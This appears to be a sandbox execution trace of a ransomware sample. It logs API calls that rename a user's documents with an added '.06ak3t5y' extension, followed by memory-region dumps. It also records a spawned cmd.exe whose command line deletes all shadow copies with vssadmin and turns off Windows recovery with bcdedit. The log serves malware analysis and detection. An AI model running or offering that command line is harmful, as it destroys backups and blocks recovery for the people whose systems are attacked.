lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.315] CloseHandle (hObject=0x330) returned 1 [0111.319] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xec) returned 0x207d648 [0111.319] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\AIEvT4Qz7Bv01ypgZ.pdf" (normalized: "c:\\users\\keecfmwgj\\documents\\aievt4qz7bv01ypgz.pdf"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\AIEvT4Qz7Bv01ypgZ.pdf.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\documents\\aievt4qz7bv01ypgz.pdf.06ak3t5y")) returned 1 [0111.320] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x207d648) returned 1 [0111.320] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x30ee5a8) returned 1 [0111.320] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x450b840) returned 1 [0111.322] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.322] CloseHandle (hObject=0x334) returned 1 [0111.323] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xde) returned 0x2070c20 [0111.323] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\aORlCMsiaM.doc" (normalized: "c:\\users\\keecfmwgj\\documents\\aorlcmsiam.doc"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\aORlCMsiaM.doc.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\documents\\aorlcmsiam.doc.06ak3t5y")) returned 1 [0111.325] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2070c20) returned 1 [0111.325] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2086368) returned 1 [0111.325] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x388d6a8) returned 1 [0111.328] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.328] CloseHandle (hObject=0x338) returned 1 [0111.329] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xd8) returned 0x30a82f0 [0111.330] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\bOkgUz6.odp" (normalized: "c:\\users\\keecfmwgj\\documents\\bokguz6.odp"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\bOkgUz6.odp.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\documents\\bokguz6.odp.06ak3t5y")) returned 1 [0111.331] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x30a82f0) returned 1 [0111.331] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20863d0) returned 1 [0111.331] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x388f860) returned 1 [0111.332] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.332] CloseHandle (hObject=0x33c) returned 1 [0111.341] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xec) returned 0x207d648 [0111.341] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\B_IKnAuj4tm9 PtH.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\b_iknauj4tm9 pth.pptx"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\B_IKnAuj4tm9 PtH.pptx.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\documents\\b_iknauj4tm9 pth.pptx.06ak3t5y")) returned 1 [0111.341] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x207d648) returned 1 [0111.342] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x30ee440) returned 1 [0111.342] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x451eb40) returned 1 [0111.344] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.344] CloseHandle (hObject=0x340) returned 1 [0111.345] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xf0) returned 0x207d648 [0111.345] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\c0s1YUWcSTEroJdKuB.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\c0s1yuwcsterojdkub.docx"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\c0s1YUWcSTEroJdKuB.docx.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\documents\\c0s1yuwcsterojdkub.docx.06ak3t5y")) returned 1 [0111.643] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x207d648) returned 1 [0111.643] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x369f600) returned 1 [0111.643] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x4532068) returned 1 [0111.643] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0128.309] GetCurrentProcess () returned 0xffffffff [0128.309] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x439ff64 | out: TokenHandle=0x439ff64*=0x0) returned 0 Process: id = "2" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x417cd000" os_pid = "0xef8" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xec8" cmd_line = "\"C:\\Windows\\System32\\cmd.exe\" /c vssadmin.exe Delete Shadows /All /Quiet & bcdedit /set {default} recoveryenabled No & bcdedit /set {default} bootstatuspolicy ignoreallfailures" cur_dir = "C:\\Users\\kEecfMwgj\\Desktop\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Region: id = 556 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 557 start_va = 0x30000 end_va = 0x31fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 558 start_va = 0x40000 end_va = 0x40fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 559 start_va = 0x50000 end_va = 0x53fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 560 start_va = 0x60000 end_va = 0x60fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 561 start_va = 0x140000 end_va = 0x17ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 562 start_va = 0x2b0000 end_va = 0x3affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002b0000" filename = "" Region: id = 563 start_va = 0x4aa20000 end_va = 0x4aa6bfff monitored = 1 entry_point = 0x4aa2829a region_type = mapped_file name = "cmd.exe" filename = "\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe") Region: id = 564 start_va = 0x77380000 end_va = 0x77528fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 565 start_va = 0x77560000 end_va = 0x776dffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 566 start_va = 0x7efb0000 end_va = 0x7efd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 567 start_va = 0x7efdb000 end_va = 0x7efddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 568 start_va = 0x7efde000 end_va = 0x7efdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 569 start_va = 0x7efdf000 end_va = 0x7efdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 570 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 571 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 572 start_va = 0x7fff0000 end_va = 0x7fffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 573 start_va = 0x1e0000 end_va = 0x25ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 574 start_va = 0x749b0000 end_va = 0x749b7fff monitored = 0 entry_point = 0x749b20f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 575 start_va = 0x749c0000 end_va = 0x74a1bfff monitored = 0 entry_point = 0x749ff798 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 576 start_va = 0x74a20000 end_va = 0x74a5efff monitored = 0 entry_point = 0x74a4de78 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 577 start_va = 0x77160000 end_va = 0x7727efff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000077160000" filename = "" Region: id = 578 start_va = 0x77280000 end_va = 0x77379fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000077280000" filename = "" Region: id = 579 start_va = 0x3b0000 end_va = 0x50ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003b0000" filename = "" Region: id = 580 start_va = 0x75b20000 end_va = 0x75c2ffff monitored = 0 entry_point = 0x75b332d3 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 581 start_va = 0x75c60000 end_va = 0x75ca5fff monitored = 0 entry_point = 0x75c67478 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 582 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 583 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 584 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 585 start_va = 0x20000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 586 start_va = 0x70000 end_va = 0xd6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 587 start_va = 0x75120000 end_va = 0x751cbfff monitored = 0 entry_point = 0x7512a472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 588 start_va = 0x74db0000 end_va = 0x74db6fff monitored = 0 entry_point = 0x74db1230 region_type = mapped_file name = "winbrand.dll" filename = "\\Windows\\SysWOW64\\winbrand.dll" (normalized: "c:\\windows\\syswow64\\winbrand.dll") Region: id = 589 start_va = 0x75d10000 end_va = 0x75e0ffff monitored = 0 entry_point = 0x75d2b6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 590 start_va = 0x75ed0000 end_va = 0x75f5ffff monitored = 0 entry_point = 0x75ee6343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 591 start_va = 0x77530000 end_va = 0x77539fff monitored = 0 entry_point = 0x775336a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 592 start_va = 0x75e10000 end_va = 0x75eacfff monitored = 0 entry_point = 0x75e43fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 593 start_va = 0x751d0000 end_va = 0x7526ffff monitored = 0 entry_point = 0x751e49e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 594 start_va = 0x75eb0000 end_va = 0x75ec8fff monitored = 0 entry_point = 0x75eb4975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 595 start_va = 0x77070000 end_va = 0x7715ffff monitored = 0 entry_point = 0x77080569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 596 start_va = 0x750b0000 end_va = 0x7510ffff monitored = 0 entry_point = 0x750ca3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 597 start_va = 0x750a0000 end_va = 0x750abfff monitored = 0 entry_point = 0x750a10e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 598 start_va = 0x510000 end_va = 0x5cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000510000" filename = "" Region: id = 599 start_va = 0xe0000 end_va = 0xfdfff monitored = 0 entry_point = 0xf158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 600 start_va = 0x5d0000 end_va = 0x757fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 601 start_va = 0xe0000 end_va = 0xfdfff monitored = 0 entry_point = 0xf158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 602 start_va = 0x75830000 end_va = 0x7588ffff monitored = 0 entry_point = 0x7584158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 603 start_va = 0x756d0000 end_va = 0x7579bfff monitored = 0 entry_point = 0x756d168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 604 start_va = 0x760000 end_va = 0x8e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000760000" filename = "" Region: id = 605 start_va = 0x8f0000 end_va = 0x1ceffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008f0000" filename = "" Region: id = 606 start_va = 0xe0000 end_va = 0xfffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cmd.exe.mui" filename = "\\Windows\\SysWOW64\\en-US\\cmd.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\cmd.exe.mui") Region: id = 607 start_va = 0x30000 end_va = 0x30fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 608 start_va = 0x100000 end_va = 0x100fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Thread: id = 8 os_tid = 0xefc [0067.361] GetProcAddress (hModule=0x75b20000, lpProcName="SetConsoleInputExeNameW") returned 0x75b4a79d [0067.362] GetProcessHeap () returned 0x410000 [0067.362] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0x400a) returned 0x425a80 [0067.362] GetProcessHeap () returned 0x410000 [0067.362] HeapFree (in: hHeap=0x410000, dwFlags=0x0, lpMem=0x425a80 | out: hHeap=0x410000) returned 1 [0067.363] _wcsicmp (_String1="vssadmin.exe", _String2=")") returned 77 [0067.363] _wcsicmp (_String1="FOR", _String2="vssadmin.exe") returned -16 [0067.363] _wcsicmp (_String1="FOR/?", _String2="vssadmin.exe") returned -16 [0067.363] _wcsicmp (_String1="IF", _String2="vssadmin.exe") returned -13 [0067.363] _wcsicmp (_String1="IF/?", _String2="vssadmin.exe") returned -13 [0067.363] _wcsicmp (_String1="REM", _String2="vssadmin.exe") returned -4 [0067.363] _wcsicmp (_String1="REM/?", _String2="vssadmin.exe") returned -4 [0067.363] GetProcessHeap () returned 0x410000 [0067.363] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0x58) returned 0x423330 [0067.363] GetProcessHeap () returned 0x410000 [0067.363] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0x22) returned 0x423390 [0067.364] GetProcessHeap () returned 0x410000 [0067.364] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0x42) returned 0x4233c0 [0067.365] GetProcessHeap () returned 0x410000 [0067.365] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0x58) returned 0x423410 [0067.365] _wcsicmp (_String1="bcdedit", _String2=")") returned 57 [0067.365] _wcsicmp (_String1="FOR", _String2="bcdedit") returned 4 [0067.365] _wcsicmp (_String1="FOR/?", _String2="bcdedit") returned 4 [0067.366] _wcsicmp (_String1="IF", _String2="bcdedit") returned 7 [0067.366] _wcsicmp (_String1="IF/?", _String2="bcdedit") returned 7 [0067.366] _wcsicmp (_String1="REM", _String2="bcdedit") returned 16 [0067.366] _wcsicmp (_String1="REM/?", _String2="bcdedit") returned 16 [0067.366] GetProcessHeap () returned 0x410000 [0067.366] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0x58) returned 0x423470 [0067.366] GetProcessHeap () returned 0x410000 [0067.366] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0x18) returned 0x421998 [0067.367] GetProcessHeap () returned 0x410000 [0067.367] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0x50) returned 0x4234d0 [0067.367] GetProcessHeap () returned 0x410000 [0067.367] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0x58) returned 0x423528 [0067.368] _wcsicmp (_String1="bcdedit", _String2=")") returned 57 [0067.368] _wcsicmp (_String1="FOR", _String2="bcdedit") returned 4 [0067.368] _wcsicmp (_String1="FOR/?", _String2="bcdedit") returned 4 [0067.368] _wcsicmp (_String1="IF", _String2="bcdedit") returned 7 [0067.368] _wcsicmp (_String1="IF/?", _String2="bcdedit") returned 7 [0067.368] _wcsicmp (_String1="REM", _String2="bcdedit") returned 16 [0067.368] _wcsicmp (_String1="REM/?", _String2="bcdedit") returned 16 [0067.368] GetProcessHeap () returned 0x410000 [0067.368] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0x58) returned 0x423588 [0067.368] GetProcessHeap () returned 0x410000 [0067.368] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0x18) returned 0x4235e8 [0067.369] GetProcessHeap () returned 0x410000 [0067.369] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0x6e) returned 0x423608 [0067.370] GetConsoleTitleW (in: lpConsoleTitle=0x3af788, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0067.371] GetFileAttributesW (lpFileName="vssadmin.exe" (normalized: "c:\\users\\keecfmwgj\\desktop\\vssadmin.exe")) returned 0xffffffff [0067.371] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0067.371] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0067.371] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0067.371] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0067.371] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0067.371] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0067.372] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0067.372] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0067.372] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0067.372] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0067.372] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0067.372] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0067.372] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0067.372] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0067.372] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0067.372] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0067.372] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0067.372] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0067.372] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0067.372] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0067.372] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0067.372] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0067.372] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0067.372] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0067.372] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0067.372] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0067.372] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0067.372] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0067.372] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0067.372] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0067.372] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0067.372] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0067.372] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0067.372] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0067.372] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0067.373] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0067.373] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0067.373] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0067.373] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0067.373] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0067.373] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0067.373] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0067.373] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0067.373] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0067.373] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0067.373] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0067.373] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0067.373] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0067.373] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0067.373] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0067.373] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0067.373] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0067.373] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0067.373] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0067.373] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0067.373] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0067.373] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0067.373] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0067.373] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0067.373] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0067.373] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0067.373] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0067.373] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0067.373] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0067.374] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0067.374] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0067.374] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0067.374] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0067.374] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0067.374] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0067.374] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0067.374] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0067.374] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0067.374] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0067.374] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0067.374] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0067.374] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0067.374] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0067.374] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0067.374] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0067.374] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0067.374] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0067.374] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0067.374] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0067.374] _wcsicmp (_String1="vssadmin", _String2="FOR") returned 16 [0067.374] _wcsicmp (_String1="vssadmin", _String2="IF") returned 13 [0067.374] _wcsicmp (_String1="vssadmin", _String2="REM") returned 4 [0067.375] GetProcessHeap () returned 0x410000 [0067.375] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0x210) returned 0x4107f0 [0067.375] GetProcessHeap () returned 0x410000 [0067.375] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0x5c) returned 0x423680 [0067.375] _wcsnicmp (_String1="vssa", _String2="cmd ", _MaxCount=0x4) returned 19 [0067.375] GetProcessHeap () returned 0x410000 [0067.375] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0x418) returned 0x410a08 [0067.375] SetErrorMode (uMode=0x0) returned 0x0 [0067.376] SetErrorMode (uMode=0x1) returned 0x0 [0067.376] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x410a10, lpFilePart=0x3af2a8 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop", lpFilePart=0x3af2a8*="Desktop") returned 0x1a [0067.376] SetErrorMode (uMode=0x0) returned 0x1 [0067.376] GetProcessHeap () returned 0x410000 [0067.376] RtlReAllocateHeap (Heap=0x410000, Flags=0x0, 